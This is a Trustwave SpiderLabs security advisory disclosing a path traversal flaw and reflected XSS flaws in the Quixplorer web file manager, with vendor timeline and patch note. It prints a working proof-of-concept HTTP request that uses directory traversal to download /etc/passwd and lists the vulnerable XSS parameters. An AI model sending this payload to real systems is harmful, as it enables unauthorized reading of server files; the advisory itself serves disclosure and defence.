Trustwave SpiderLabs Security Advisory TWSL2013-030: Multiple Vulnerabilities in Quixplorer Published: 11/06/13 Version: 1.0 Vendor: Quixplorer (http://quixplorer.sourceforge.net/, https://github.com/realtimeprojects/quixplorer ) Product: Quixplorer Version affected: 2.5.4 (git version) and prior Product description: QuiXplorer is a multi-user, web-based file-manager. It allows you to manage and/or share files over the internet, or an intranet. Finding 1: Path Traversal Credit: Vikas Singhal of Trustwave SpiderLabs CVE: CVE-2013-1641 CWE: CWE-22 A path traversal vulnerability was found in the "download files as zip archive" functionality of the application. This vulnerability may allow an attacker to view files outside the website's root directory. The following Proof of Concept (PoC) illustrates the HTTP request which can exploit the vulnerability to download "/etc/passwd" from the filesystem using the "zip download" functionality. POST /quixplorer1/src/index.php?action=post&order=name&srt=yes HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://localhost/quixplorer1/src/index.php Cookie: adminer_version=0; PHPSESSID=7m2cu7qp2bose5cm8pcet5vop0 Content-Type: application/x-www-form-urlencoded Content-Length: 108 do_action=download_selected&first=y&selitems%5B%5D=index.php&selitems%5B%5D=/../../../../../../../etc/passwd Finding 2: Cross Site Scripting (XSS) Credit: Vikas Singhal of Trustwave SpiderLabs CVE: CVE-2013-1642 CWE: CWE-79 A Reflected Cross Site Scripting (XSS) vulnerability was found in multiple instances of the application. Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. List of vulnerable URLs and corresponding parameters are listed below: /quixplorer/src/index.php [dir parameter] /quixplorer/src/index.php [item parameter] /quixplorer/src/index.php [name of an arbitrarily supplied URL parameter] /quixplorer/src/index.php [order parameter] /quixplorer/src/index.php [searchitem parameter] /quixplorer/src/index.php [selitems%5B%5D parameter] /quixplorer/src/index.php [srt parameter] Remediation Steps: The vendor has released a fix in version 2.5.5 Revision History: 08/30/13 - Vulnerability disclosed to vendor 11/03/13 - Vendor releases patch 11/06/13 - Advisory published About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.